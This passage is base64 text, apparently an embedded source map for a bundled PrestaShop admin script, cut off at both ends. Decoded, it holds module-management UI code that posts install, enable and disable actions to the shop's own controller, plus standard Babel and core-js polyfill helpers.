AgIG1vZGFsXG4gICAgICAuZmluZCgnI3BzdHJ1c3QtbGFiZWwnKVxuICAgICAgLmF0dHIoJ2NsYXNzJywgYHRleHQtJHthbGVydENsYXNzfWApXG4gICAgICAudGV4dChtb2R1bGUucHJlc3RhdHJ1c3Quc3RhdHVzID8gJ09LJyA6ICdLTycpO1xuICAgIG1vZGFsLmZpbmQoJyNwc3RydXN0LW1lc3NhZ2UnKS5hdHRyKCdjbGFzcycsIGBhbGVydCBhbGVydC0ke2FsZXJ0Q2xhc3N9YCk7XG4gICAgbW9kYWwuZmluZCgnI3BzdHJ1c3QtbWVzc2FnZSA+IHAnKS50ZXh0KG1vZHVsZS5wcmVzdGF0cnVzdC5tZXNzYWdlKTtcblxuICAgIHJldHVybiBtb2RhbDtcbiAgfVxuXG4gIGRpc3BhdGNoUHJlRXZlbnQoYWN0aW9uLCBlbGVtZW50KSB7XG4gICAgY29uc3QgZXZlbnQgPSBqUXVlcnkuRXZlbnQoJ21vZHVsZV9jYXJkX2FjdGlvbl9ldmVudCcpO1xuXG4gICAgJChlbGVtZW50KS50cmlnZ2VyKGV2ZW50LCBbYWN0aW9uXSk7XG4gICAgaWYgKGV2ZW50LmlzUHJvcGFnYXRpb25TdG9wcGVkKCkgIT09IGZhbHNlIHx8IGV2ZW50LmlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkKCkgIT09IGZhbHNlKSB7XG4gICAgICByZXR1cm4gZmFsc2U7IC8vIGlmIGFsbCBoYW5kbGVycyBoYXZlIG5vdCBiZWVuIGNhbGxlZCwgdGhlbiBzdG9wIHByb3BhZ2F0aW9uIG9mIHRoZSBjbGljayBldmVudC5cbiAgICB9XG5cbiAgICByZXR1cm4gZXZlbnQucmVzdWx0ICE9PSBmYWxzZTsgLy8gZXhwbGljaXQgZmFsc2UgbXVzdCBiZSBzZXQgZnJvbSBoYW5kbGVycyB0byBzdG9wIHByb3BhZ2F0aW9uIG9mIHRoZSBjbGljayBldmVudC5cbiAgfVxuXG4gIHJlcXVlc3RUb0NvbnRyb2xsZXIoYWN0aW9uLCBlbGVtZW50LCBmb3JjZURlbGV0aW9uLCBkaXNhYmxlQ2FjaGVDbGVhciwgY2FsbGJhY2spIHtcbiAgICBjb25zdCBzZWxmID0gdGhpcztcbiAgICBjb25zdCBqcUVsZW1lbnRPYmogPSBlbGVtZW50LmNsb3Nlc3QodGhpcy5tb2R1bGVJdGVtQWN0aW9uc1NlbGVjdG9yKTtcbiAgICBjb25zdCBmb3JtID0gZWxlbWVudC5jbG9zZXN0KCdmb3JtJyk7XG4gICAgY29uc3Qgc3Bpbm5lck9iaiA9ICQoJzxidXR0b24gY2xhc3M9XCJidG4tcHJpbWFyeS1yZXZlcnNlIG9uY2xpY2sgdW5iaW5kIHNwaW5uZXIgXCI+PC9idXR0b24+Jyk7XG4gICAgY29uc3QgdXJsID0gYC8vJHt3aW5kb3cubG9jYXRpb24uaG9zdH0ke2Zvcm0uYXR0cignYWN0aW9uJyl9YDtcbiAgICBjb25zdCBhY3Rpb25QYXJhbXMgPSBmb3JtLnNlcmlhbGl6ZUFycmF5KCk7XG5cbiAgICBpZiAoZm9yY2VEZWxldGlvbiA9PT0gJ3RydWUnIHx8IGZvcmNlRGVsZXRpb24gPT09IHRydWUpIHtcbiAgICAgIGFjdGlvblBhcmFtcy5wdXNoKHtuYW1lOiAnYWN0aW9uUGFyYW1zW2RlbGV0aW9uXScsIHZhbHVlOiB0cnVlfSk7XG4gICAgfVxuICAgIGlmIChkaXNhYmxlQ2FjaGVDbGVhciA9PT0gJ3RydWUnIHx8IGRpc2FibGVDYWNoZUNsZWFyID09PSB0cnVlKSB7XG4gICAgICBhY3Rpb25QYXJhbXMucHVzaCh7bmFtZTogJ2FjdGlvblBhcmFtc1tjYWNoZUNsZWFyRW5hYmxlZF0nLCB2YWx1ZTogMH0pO1xuICAgIH1cblxuICAgICQuYWpheCh7XG4gICAgICB1cmwsXG4gICAgICBkYXRhVHlwZTogJ2pzb24nLFxuICAgICAgbWV0aG9kOiAnUE9TVCcsXG4gICAgICBkYXRhOiBhY3Rpb25QYXJhbXMsXG4gICAgICBiZWZvcmVTZW5kKCkge1xuICAgICAgICBqcUVsZW1lbnRPYmouaGlkZSgpO1xuICAgICAgICBqcUVsZW1lbnRPYmouYWZ0ZXIoc3Bpbm5lck9iaik7XG4gICAgICB9LFxuICAgIH0pXG4gICAgICAuZG9uZSgocmVzdWx0KSA9PiB7XG4gICAgICAgIGlmIChyZXN1bHQgPT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICQuZ3Jvd2wuZXJyb3Ioe1xuICAgICAgICAgICAgbWVzc2FnZTogJ05vIGFuc3dlciByZWNlaXZlZCBmcm9tIHNlcnZlcicsXG4gICAgICAgICAgICBmaXhlZDogdHJ1ZSxcbiAgICAgICAgICB9KTtcbiAgICAgICAgICByZXR1cm47XG4gICAgICAgIH1cblxuICAgICAgICBpZiAodHlwZW9mIHJlc3VsdC5zdGF0dXMgIT09ICd1bmRlZmluZWQnICYmIHJlc3VsdC5zdGF0dXMgPT09IGZhbHNlKSB7XG4gICAgICAgICAgJC5ncm93bC5lcnJvcih7bWVzc2FnZTogcmVzdWx0Lm1zZywgZml4ZWQ6IHRydWV9KTtcbiAgICAgICAgICByZXR1cm47XG4gICAgICAgIH1cblxuICAgICAgICBjb25zdCBtb2R1bGVUZWNoTmFtZSA9IE9iamVjdC5rZXlzKHJlc3VsdClbMF07XG5cbiAgICAgICAgaWYgKHJlc3VsdFttb2R1bGVUZWNoTmFtZV0uc3RhdHVzID09PSBmYWxzZSkge1xuICAgICAgICAgIGlmICh0eXBlb2YgcmVzdWx0W21vZHVsZVRlY2hOYW1lXS5jb25maXJtYXRpb25fc3ViamVjdCAhPT0gJ3VuZGVmaW5lZCcpIHtcbiAgICAgICAgICAgIHNlbGYuY29uZmlybVByZXN0YVRydXN0KHJlc3VsdFttb2R1bGVUZWNoTmFtZV0pO1xuICAgICAgICAgIH1cblxuICAgICAgICAgICQuZ3Jvd2wuZXJyb3Ioe21lc3NhZ2U6IHJlc3VsdFttb2R1bGVUZWNoTmFtZV0ubXNnLCBmaXhlZDogdHJ1ZX0pO1xuICAgICAgICAgIHJldHVybjtcbiAgICAgICAgfVxuXG4gICAgICAgICQuZ3Jvd2woe1xuICAgICAgICAgIG1lc3NhZ2U6IHJlc3VsdFttb2R1bGVUZWNoTmFtZV0ubXNnLFxuICAgICAgICAgIGR1cmF0aW9uOiA2MDAwLFxuICAgICAgICB9KTtcblxuICAgICAgICBjb25zdCBhbHRlcmVkU2VsZWN0b3IgPSBzZWxmLmdldE1vZHVsZUl0ZW1TZWxlY3RvcigpLnJlcGxhY2UoJy4nLCAnJyk7XG4gICAgICAgIGxldCBtYWluRWxlbWVudCA9IG51bGw7XG5cbiAgICAgICAgaWYgKGFjdGlvbiA9PT0gJ3VuaW5zdGFsbCcpIHtcbiAgICAgICAgICBtYWluRWxlbWVudCA9IGpxRWxlbWVudE9iai5jbG9zZXN0KGAuJHthbHRlcmVkU2VsZWN0b3J9YCk7XG4gICAgICAgICAgbWFpbkVsZW1lbnQucmVtb3ZlKCk7XG5cbiAgICAgICAgICBCT0V2ZW50LmVtaXRFdmVudCgnTW9kdWxlIFVuaW5zdGFsbGVkJywgJ0N1c3RvbUV2ZW50Jyk7XG4gICAgICAgIH0gZWxzZSBpZiAoYWN0aW9uID09PSAnZGlzYWJsZScpIHtcbiAgICAgICAgICBtYWluRWxlbWVudCA9IGpxRWxlbWVudE9iai5jbG9zZXN0KGAuJHthbHRlcmVkU2VsZWN0b3J9YCk7XG4gICAgICAgICAgbWFpbkVsZW1lbnQuYWRkQ2xhc3MoYCR7YWx0ZXJlZFNlbGVjdG9yfS1pc05vdEFjdGl2ZWApO1xuICAgICAgICAgIG1haW5FbGVtZW50LmF0dHIoJ2RhdGEtYWN0aXZlJywgJzAnKTtcblxuICAgICAgICAgIEJPRXZlbnQuZW1pdEV2ZW50KCdNb2R1bGUgRGlzYWJsZWQnLCAnQ3VzdG9tRXZlbnQnKTtcbiAgICAgICAgfSBlbHNlIGlmIChhY3Rpb24gPT09ICdlbmFibGUnKSB7XG4gICAgICAgICAgbWFpbkVsZW1lbnQgPSBqcUVsZW1lbnRPYmouY2xvc2VzdChgLiR7YWx0ZXJlZFNlbGVjdG9yfWApO1xuICAgICAgICAgIG1haW5FbGVtZW50LnJlbW92ZUNsYXNzKGAke2FsdGVyZWRTZWxlY3Rvcn0taXNOb3RBY3RpdmVgKTtcbiAgICAgICAgICBtYWluRWxlbWVudC5hdHRyKCdkYXRhLWFjdGl2ZScsICcxJyk7XG5cbiAgICAgICAgICBCT0V2ZW50LmVtaXRFdmVudCgnTW9kdWxlIEVuYWJsZWQnLCAnQ3VzdG9tRXZlbnQnKTtcbiAgICAgICAgfVxuXG4gICAgICAgIGpxRWxlbWVudE9iai5yZXBsYWNlV2l0aChyZXN1bHRbbW9kdWxlVGVjaE5hbWVdLmFjdGlvbl9tZW51X2h0bWwpO1xuICAgICAgfSlcbiAgICAgIC5mYWlsKCgpID0+IHtcbiAgICAgICAgY29uc3QgbW9kdWxlSXRlbSA9IGpxRWxlbWVudE9iai5jbG9zZXN0KCdtb2R1bGUtaXRlbS1saXN0Jyk7XG4gICAgICAgIGNvbnN0IHRlY2hOYW1lID0gbW9kdWxlSXRlbS5kYXRhKCd0ZWNoTmFtZScpO1xuICAgICAgICAkLmdyb3dsLmVycm9yKHtcbiAgICAgICAgICBtZXNzYWdlOiBgQ291bGQgbm90IHBlcmZvcm0gYWN0aW9uICR7YWN0aW9ufSBmb3IgbW9kdWxlICR7dGVjaE5hbWV9YCxcbiAgICAgICAgICBmaXhlZDogdHJ1ZSxcbiAgICAgICAgfSk7XG4gICAgICB9KVxuICAgICAgLmFsd2F5cygoKSA9PiB7XG4gICAgICAgIGpxRWxlbWVudE9iai5mYWRlSW4oKTtcbiAgICAgICAgc3Bpbm5lck9iai5yZW1vdmUoKTtcbiAgICAgICAgaWYgKGNhbGxiYWNrKSB7XG4gICAgICAgICAgY2FsbGJhY2soKTtcbiAgICAgICAgfVxuICAgICAgfSk7XG5cbiAgICByZXR1cm4gZmFsc2U7XG4gIH1cbn1cbiIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9hcnJheS9mcm9tXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL29iamVjdC9kZWZpbmUtcHJvcGVydHlcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vb2JqZWN0L2tleXNcIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJcInVzZSBzdHJpY3RcIjtcblxuZXhwb3J0cy5fX2VzTW9kdWxlID0gdHJ1ZTtcblxuZXhwb3J0cy5kZWZhdWx0ID0gZnVuY3Rpb24gKGluc3RhbmNlLCBDb25zdHJ1Y3Rvcikge1xuICBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkge1xuICAgIHRocm93IG5ldyBUeXBlRXJyb3IoXCJDYW5ub3QgY2FsbCBhIGNsYXNzIGFzIGEgZnVuY3Rpb25cIik7XG4gIH1cbn07IiwiXCJ1c2Ugc3RyaWN0XCI7XG5cbmV4cG9ydHMuX19lc01vZHVsZSA9IHRydWU7XG5cbnZhciBfZGVmaW5lUHJvcGVydHkgPSByZXF1aXJlKFwiLi4vY29yZS1qcy9vYmplY3QvZGVmaW5lLXByb3BlcnR5XCIpO1xuXG52YXIgX2RlZmluZVByb3BlcnR5MiA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2RlZmluZVByb3BlcnR5KTtcblxuZnVuY3Rpb24gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChvYmopIHsgcmV0dXJuIG9iaiAmJiBvYmouX19lc01vZHVsZSA/IG9iaiA6IHsgZGVmYXVsdDogb2JqIH07IH1cblxuZXhwb3J0cy5kZWZhdWx0ID0gZnVuY3Rpb24gKCkge1xuICBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0aWVzKHRhcmdldCwgcHJvcHMpIHtcbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IHByb3BzLmxlbmd0aDsgaSsrKSB7XG4gICAgICB2YXIgZGVzY3JpcHRvciA9IHByb3BzW2ldO1xuICAgICAgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlO1xuICAgICAgZGVzY3JpcHRvci5jb25maWd1cmFibGUgPSB0cnVlO1xuICAgICAgaWYgKFwidmFsdWVcIiBpbiBkZXNjcmlwdG9yKSBkZXNjcmlwdG9yLndyaXRhYmxlID0gdHJ1ZTtcbiAgICAgICgwLCBfZGVmaW5lUHJvcGVydHkyLmRlZmF1bHQpKHRhcmdldCwgZGVzY3JpcHRvci5rZXksIGRlc2NyaXB0b3IpO1xuICAgIH1cbiAgfVxuXG4gIHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7XG4gICAgaWYgKHByb3RvUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IucHJvdG90eXBlLCBwcm90b1Byb3BzKTtcbiAgICBpZiAoc3RhdGljUHJvcHMpIGRlZmluZVByb3BlcnRpZXMoQ29uc3RydWN0b3IsIHN0YXRpY1Byb3BzKTtcbiAgICByZXR1cm4gQ29uc3RydWN0b3I7XG4gIH07XG59KCk7IiwiXCJ1c2Ugc3RyaWN0XCI7XG5cbmV4cG9ydHMuX19lc01vZHVsZSA9IHRydWU7XG5cbnZhciBfZnJvbSA9IHJlcXVpcmUoXCIuLi9jb3JlLWpzL2FycmF5L2Zyb21cIik7XG5cbnZhciBfZnJvbTIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9mcm9tKTtcblxuZnVuY3Rpb24gX2ludGVyb3BSZXF1aXJlRGVmYXVsdChvYmopIHsgcmV0dXJuIG9iaiAmJiBvYmouX19lc01vZHVsZSA/IG9iaiA6IHsgZGVmYXVsdDogb2JqIH07IH1cblxuZXhwb3J0cy5kZWZhdWx0ID0gZnVuY3Rpb24gKGFycikge1xuICBpZiAoQXJyYXkuaXNBcnJheShhcnIpKSB7XG4gICAgZm9yICh2YXIgaSA9IDAsIGFycjIgPSBBcnJheShhcnIubGVuZ3RoKTsgaSA8IGFyci5sZW5ndGg7IGkrKykge1xuICAgICAgYXJyMltpXSA9IGFycltpXTtcbiAgICB9XG5cbiAgICByZXR1cm4gYXJyMjtcbiAgfSBlbHNlIHtcbiAgICByZXR1cm4gKDAsIF9mcm9tMi5kZWZhdWx0KShhcnIpO1xuICB9XG59OyIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2LnN0cmluZy5pdGVyYXRvcicpO1xucmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYuYXJyYXkuZnJvbScpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJykuQXJyYXkuZnJvbTtcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2Lm9iamVjdC5kZWZpbmUtcHJvcGVydHknKTtcbnZhciAkT2JqZWN0ID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9fY29yZScpLk9iamVjdDtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gZGVmaW5lUHJvcGVydHkoaXQsIGtleSwgZGVzYykge1xuICByZXR1cm4gJE9iamVjdC5kZWZpbmVQcm9wZXJ0eShpdCwga2V5LCBkZXNjKTtcbn07XG4iLCJyZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNi5vYmplY3Qua2V5cycpO1xubW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJykuT2JqZWN0LmtleXM7XG4iLCJtb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICBpZiAodHlwZW9mIGl0ICE9ICdmdW5jdGlvbicpIHRocm93IFR5cGVFcnJvcihpdCArICcgaXMgbm90IGEgZnVuY3Rpb24hJyk7XG4gIHJldHVybiBpdDtcbn07XG4iLCJ2YXIgaXNPYmplY3QgPSByZXF1aXJlKCcuL19pcy1vYmplY3QnKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIGlmICghaXNPYmplY3QoaXQpKSB0aHJvdyBUeXBlRXJyb3IoaXQgKyAnIGlzIG5vdCBhbiBvYmplY3QhJyk7XG4gIHJldHVybiBpdDtcbn07XG4iLCIvLyBmYWxzZSAtPiBBcnJheSNpbmRleE9mXG4vLyB0cnVlICAtPiBBcnJheSNpbmNsdWRlc1xudmFyIHRvSU9iamVjdCA9IHJlcXVpcmUoJy4vX3RvLWlvYmplY3QnKTtcbnZhciB0b0xlbmd0aCA9IHJlcXVpcmUoJy4vX3RvLWxlbmd0aCcpO1xudmFyIHRvQWJzb2x1dGVJbmRleCA9IHJlcXVpcmUoJy4vX3RvLWFic29sdXRlLWluZGV4Jyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChJU19JTkNMVURFUykge1xuICByZXR1cm4gZnVuY3Rpb24gKCR0aGlzLCBlbCwgZnJvbUluZGV4KSB7XG4gICAgdmFyIE8gPSB0b0lPYmplY3QoJHRoaXMpO1xuICAgIHZhciBsZW5ndGggPSB0b0xlbmd0aChPLmxlbmd0aCk7XG4gICAgdmFyIGluZGV4ID0gdG9BYnNvbHV0ZUluZGV4KGZyb21JbmRleCwgbGVuZ3RoKTtcbiAgICB2YXIgdmFsdWU7XG4gICAgLy8gQXJyYXkjaW5jbHVkZXMgdXNlcyBTYW1lVmFsdWVaZXJvIGVxdWFsaXR5IGFsZ29yaXRobVxuICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1zZWxmLWNvbXBhcmVcbiAgICBpZiAoSVNfSU5DTFVERVMgJiYgZWwgIT0gZWwpIHdoaWxlIChsZW5ndGggPiBpbmRleCkge1xuICAgICAgdmFsdWUgPSBPW2luZGV4KytdO1xuICAgICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXNlbGYtY29tcGFyZVxuICAgICAgaWYgKHZhbHVlICE9IHZhbHVlKSByZXR1cm4gdHJ1ZTtcbiAgICAvLyBBcnJheSNpbmRleE9mIGlnbm9yZXMgaG9sZXMsIEFycmF5I2luY2x1ZGVzIC0gbm90XG4gICAgfSBlbHNlIGZvciAoO2xlbmd0aCA+IGluZGV4OyBpbmRleCsrKSBpZiAoSVNfSU5DTFVERVMgfHwgaW5kZXggaW4gTykge1xuICAgICAgaWYgKE9baW5kZXhdID09PSBlbCkgcmV0dXJuIElTX0lOQ0xVREVTIHx8IGluZGV4IHx8IDA7XG4gICAgfSByZXR1cm4gIUlTX0lOQ0xVREVTICYmIC0xO1xuICB9O1xufTtcbiIsIi8vIGdldHRpbmcgdGFnIGZyb20gMTkuMS4zLjYgT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZygpXG52YXIgY29mID0gcmVxdWlyZSgnLi9fY29mJyk7XG52YXIgVEFHID0gcmVxdWlyZSgnLi9fd2tzJykoJ3RvU3RyaW5nVGFnJyk7XG4vLyBFUzMgd3JvbmcgaGVyZVxudmFyIEFSRyA9IGNvZihmdW5jdGlvbiAoKSB7IHJldHVybiBhcmd1bWVudHM7IH0oKSkgPT0gJ0FyZ3VtZW50cyc7XG5cbi8vIGZhbGxiYWNrIGZvciBJRTExIFNjcmlwdCBBY2Nlc3MgRGVuaWVkIGVycm9yXG52YXIgdHJ5R2V0ID0gZnVuY3Rpb24gKGl0LCBrZXkpIHtcbiAgdHJ5IHtcbiAgICByZXR1cm4gaXRba2V5XTtcbiAgfSBjYXRjaCAoZSkgeyAvKiBlbXB0eSAqLyB9XG59O1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICB2YXIgTywgVCwgQjtcbiAgcmV0dXJuIGl0ID09PSB1bmRlZmluZWQgPyAnVW5kZWZpbmVkJyA6IGl0ID09PSBudWxsID8gJ051bGwnXG4gICAgLy8gQEB0b1N0cmluZ1RhZyBjYXNlXG4gICAgOiB0eXBlb2YgKFQgPSB0cnlHZXQoTyA9IE9iamVjdChpdCksIFRBRykpID09ICdzdHJpbmcnID8gVFxuICAgIC8vIGJ1aWx0aW5UYWcgY2FzZVxuICAgIDogQVJHID8gY29mKE8pXG4gICAgLy8gRVMzIGFyZ3VtZW50cyBmYWxsYmFja1xuICAgIDogKEIgPSBjb2YoTykpID09ICdPYmplY3QnICYmIHR5cGVvZiBPLmNhbGxlZSA9PSAnZnVuY3Rpb24nID8gJ0FyZ3VtZW50cycgOiBCO1xufTtcbiIsInZhciB0b1N0cmluZyA9IHt9LnRvU3RyaW5nO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gdG9TdHJpbmcuY2FsbChpdCkuc2xpY2UoOCwgLTEpO1xufTtcbiIsInZhciBjb3JlID0gbW9kdWxlLmV4cG9ydHMgPSB7IHZlcnNpb246ICcyLjYuMTEnIH07XG5pZiAodHlwZW9mIF9fZSA9PSAnbnVtYmVyJykgX19lID0gY29yZTsgLy8gZXNsaW50LWRpc2FibGUtbGluZSBuby11bmRlZlxuIiwiJ3VzZSBzdHJpY3QnO1xudmFyICRkZWZpbmVQcm9wZXJ0eSA9IHJlcXVpcmUoJy4vX29iamVjdC1kcCcpO1xudmFyIGNyZWF0ZURlc2MgPSByZXF1aXJlKCcuL19wcm9wZXJ0eS1kZXNjJyk7XG5cbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKG9iamVjdCwgaW5kZXgsIHZhbHVlKSB7XG4gIGlmIChpbmRleCBpbiBvYmplY3QpICRkZWZpbmVQcm9wZXJ0eS5mKG9iamVjdCwgaW5kZXgsIGNyZWF0ZURlc2MoMCwgdmFsdWUpKTtcbiAgZWxzZSBvYmplY3RbaW5kZXhdID0gdmFsdWU7XG59O1xuIiwiLy8gb3B0aW9uYWwgLyBzaW1wbGUgY29udGV4dCBiaW5kaW5nXG52YXIgYUZ1bmN0aW9uID0gcmVxdWlyZSgnLi9fYS1mdW5jdGlvbicpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoZm4sIHRoYXQsIGxlbmd0aCkge1xuICBhRnVuY3Rpb24oZm4pO1xuICBpZiAodGhhdCA9PT0gdW5kZWZpbmVkKSByZXR1cm4gZm47XG4gIHN3aXRjaCAobGVuZ3RoKSB7XG4gICAgY2FzZSAxOiByZXR1cm4gZnVuY3Rpb24gKGEpIHtcbiAgICAgIHJldHVybiBmbi5jYWxsKHRoYXQsIGEpO1xuICAgIH07XG4gICAgY2FzZSAyOiByZXR1cm4gZnVuY3Rpb24gKGEsIGIpIHtcbiAgICAgIHJldHVybiBmbi5jYWxsKHRoYXQsIGEsIGIpO1xuICAgIH07XG4gICAgY2FzZSAzOiByZXR1cm4gZnVuY3Rpb24gKGEsIGIsIGMpIHtcbiAgICAgIHJldHVybiBmbi5jYWxsKHRoYXQsIGEsIGIsIGMpO1xuICAgIH07XG4gIH1cbiAgcmV0dXJuIGZ1bmN0aW9uICgvKiAuLi5hcmdzICovKSB7XG4gICAgcmV0dXJuIGZuLmFwcGx5KHRoYXQsIGFyZ3VtZW50cyk7XG4gIH07XG59O1xuIiwiLy8gNy4yLjEgUmVxdWlyZU9iamVjdENvZXJjaWJsZShhcmd1bWVudClcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIGlmIChpdCA9PSB1bmRlZmluZWQpIHRocm93IFR5cGVFcnJvcihcIkNhbid0IGNhbGwgbWV0aG9kIG9uICBcIiArIGl0KTtcbiAgcmV0dXJuIGl0O1xufTtcbiIsIi8vIFRoYW5rJ3MgSUU4IGZvciBoaXMgZnVubnkgZGVmaW5lUHJvcGVydHlcbm1vZHVsZS5leHBvcnRzID0gIXJlcXVpcmUoJy4vX2ZhaWxzJykoZnVuY3Rpb24gKCkge1xuICByZXR1cm4gT2JqZWN0LmRlZmluZVByb3BlcnR5KHt9LCAnYScsIHsgZ2V0OiBmdW5jdGlvbiAoKSB7IHJldHVybiA3OyB9IH0pLmEgIT0gNztcbn0pO1xuIiwidmFyIGlzT2JqZWN0ID0gcmVxdWlyZSgnLi9faXMtb2JqZWN0Jyk7XG52YXIgZG9jdW1lbnQgPSByZXF1aXJlKCcuL19nbG9iYWwnKS5kb2N1bWVudDtcbi8vIHR5cGVvZiBkb2N1bWVudC5jcmVhdGVFbGVtZW50IGlzICdvYmplY3QnIGluIG9sZCBJRVxudmFyIGlzID0gaXNPYmplY3QoZG9jdW1lbnQpICYmIGlzT2JqZWN0KGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIGlzID8gZG9jdW1lbnQuY3JlYXRlRWxlbWVudChpdCkgOiB7fTtcbn07XG4iLCIvLyBJRSA4LSBkb24ndCBlbnVtIGJ1ZyBrZXlzXG5tb2R1bGUuZXhwb3J0cyA9IChcbiAgJ2NvbnN0cnVjdG9yLGhhc093blByb3BlcnR5LGlzUHJvdG90eXBlT2YscHJvcGVydHlJc0VudW1lcmFibGUsdG9Mb2NhbGVTdHJpbmcsdG9TdHJpbmcsdmFsdWVPZidcbikuc3BsaXQoJywnKTtcbiIsInZhciBnbG9iYWwgPSByZXF1aXJlKCcuL19nbG9iYWwnKTtcbnZhciBjb3JlID0gcmVxdWlyZSgnLi9fY29yZScpO1xudmFyIGN0eCA9IHJlcXVpcmUoJy4vX2N0eCcpO1xudmFyIGhpZGUgPSByZXF1aXJlKCcuL19oaWRlJyk7XG52YXIgaGFzID0gcmVxdWlyZSgnLi9faGFzJyk7XG52YXIgUFJPVE9UWVBFID0gJ3Byb3RvdHlwZSc7XG5cbnZhciAkZXhwb3J0ID0gZnVuY3Rpb24gKHR5cGUsIG5hbWUsIHNvdXJjZSkge1xuICB2YXIgSVNfRk9SQ0VEID0gdHlwZSAmICRleHBvcnQuRjtcbiAgdmFyIElTX0dMT0JBTCA9IHR5cGUgJiAkZXhwb3J0Lkc7XG4gIHZhciBJU19TVEFUSUMgPSB0eXBlICYgJGV4cG9ydC5TO1xuICB2YXIgSVNfUFJPVE8gPSB0eXBlICYgJGV4cG9ydC5QO1xuICB2YXIgSVNfQklORCA9IHR5cGUgJiAkZXhwb3J0LkI7XG4gIHZhciBJU19XUkFQID0gdHlwZSAmICRleHBvcnQuVztcbiAgdmFyIGV4cG9ydHMgPSBJU19HTE9CQUwgPyBjb3JlIDogY29yZVtuYW1lXSB8fCAoY29yZVtuYW1lXSA9IHt9KTtcbiAgdmFyIGV4cFByb3RvID0gZXhwb3J0c1tQUk9UT1RZUEVdO1xuICB2YXIgdGFyZ2V0ID0gSVNfR0xPQkFMID8gZ2xvYmFsIDogSVNfU1RBVElDID8gZ2xvYmFsW25hbWVdIDogKGdsb2JhbFtuYW1lXSB8fCB7fSlbUFJPVE9UWVBFXTtcbiAgdmFyIGtleSwgb3duLCBvdXQ7XG4gIGlmIChJU19HTE9CQUwpIHNvdXJjZSA9IG5hbWU7XG4gIGZvciAoa2V5IGluIHNvdXJjZSkge1xuICAgIC8vIGNvbnRhaW5zIGluIG5hdGl2ZVxuICAgIG93biA9ICFJU19GT1JDRUQgJiYgdGFyZ2V0ICYmIHRhcmdldFtrZXldICE9PSB1bmRlZmluZWQ7XG4gICAgaWYgKG93biAmJiBoYXMoZXhwb3J0cywga2V5KSkgY29udGludWU7XG4gICAgLy8gZXhwb3J0IG5hdGl2ZSBvciBwYXNzZWRcbiAgICBvdXQgPSBvd24gPyB0YXJnZXRba2V5XSA6IHNvdXJjZVtrZXldO1xuICAgIC8vIHByZXZlbnQgZ2xvYmFsIHBvbGx1dGlvbiBmb3IgbmFtZXNwYWNlc1xuICAgIGV4cG9ydHNba2V5XSA9IElTX0dMT0JBTCAmJiB0eXBlb2YgdGFyZ2V0W2tleV0gIT0gJ2Z1bmN0aW9uJyA/IHNvdXJjZVtrZXldXG4gICAgLy8gYmluZCB0aW1lcnMgdG8gZ2xvYmFsIGZvciBjYWxsIGZyb20gZXhwb3J0IGNvbnRleHRcbiAgICA6IElTX0JJTkQgJiYgb3duID8gY3R4KG91dCwgZ2xvYmFsKVxuICAgIC8vIHdyYXAgZ2xvYmFsIGNvbnN0cnVjdG9ycyBmb3IgcHJldmVudCBjaGFuZ2UgdGhlbSBpbiBsaWJyYXJ5XG4gICAgOiBJU19XUkFQICYmIHRhcmdldFtrZXldID09IG91dCA/IChmdW5jdGlvbiAoQykge1xuICAgICAgdmFyIEYgPSBmdW5jdGlvbiAoYSwgYiwgYykge1xuICAgICAgICBpZiAodGhpcyBpbnN0YW5jZW9mIEMpIHtcbiAgICAgICAgICBzd2l0Y2ggKGFyZ3VtZW50cy5sZW5ndGgpIHtcbiAgICAgICAgICAgIGNhc2UgMDogcmV0dXJuIG5ldyBDKCk7XG4gICAgICAgICAgICBjYXNlIDE6IHJldHVybiBu